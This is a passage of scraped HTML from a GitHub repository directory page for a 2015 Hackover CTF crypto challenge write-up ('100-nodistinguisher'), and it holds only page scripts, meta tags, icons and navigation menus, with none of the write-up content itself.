src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF/2015/Hackover_CTF_2015/crypto/100-nodistinguisher at master · SuperVirus/CTF · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="CD01:12398:1AD8F62C:1BAB787E:6412299C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="72c66c7355387e0d50a5db07a4071d6f7b7716bf102b61811f98ce5166bf3fc5" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRDAxOjEyMzk4OjFBRDhGNjJDOjFCQUI3ODdFOjY0MTIyOTlDIiwidmlzaXRvcl9pZCI6Ijg5MzEzOTIwNzg2MjMxNTY2MzYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="7535e47c1a87fe6ceb38a69a92f06b10f7f6973664b29160286d418f67209946" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:42833990" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="CTF-WriteUps. Contribute to SuperVirus/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/038ed5881f5aeb52da0cb765110b6ec59e17a3dbbc4aa1eea7ff79f1ba30e985/SuperVirus/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/2015/Hackover_CTF_2015/crypto/100-nodistinguisher at master · SuperVirus/CTF" /><meta name="twitter:description" content="CTF-WriteUps. Contribute to SuperVirus/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/038ed5881f5aeb52da0cb765110b6ec59e17a3dbbc4aa1eea7ff79f1ba30e985/SuperVirus/CTF" /><meta property="og:image:alt" content="CTF-WriteUps. Contribute to SuperVirus/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/2015/Hackover_CTF_2015/crypto/100-nodistinguisher at master · SuperVirus/CTF" /><meta property="og:url" content="https://github.com/SuperVirus/CTF" /><meta property="og:description" content="CTF-WriteUps. Contribute to SuperVirus/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/SuperVirus/CTF git https://github.com/SuperVirus/CTF.git"> <meta name="octolytics-dimension-user_id" content="177580" /><meta name="octolytics-dimension-user_login" content="SuperVirus" /><meta name="octolytics-dimension-repository_id" content="42833990" /><meta name="octolytics-dimension-repository_nwo" content="SuperVirus/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="42833990" /><meta name="octolytics-dimension-repository_network_root_nwo" content="SuperVirus/CTF" /> <link rel="canonical" href="https://github.com/SuperVirus/CTF/tree/master/2015/Hackover_CTF_2015/crypto/100-nodistinguisher" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="42833990" data-scoped-search-url="/SuperVirus/CTF/search" data-owner-scoped-search-url="/users/SuperVirus/search" data-unscoped-search-url="/search" data-turbo="false" action="/SuperVirus/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" 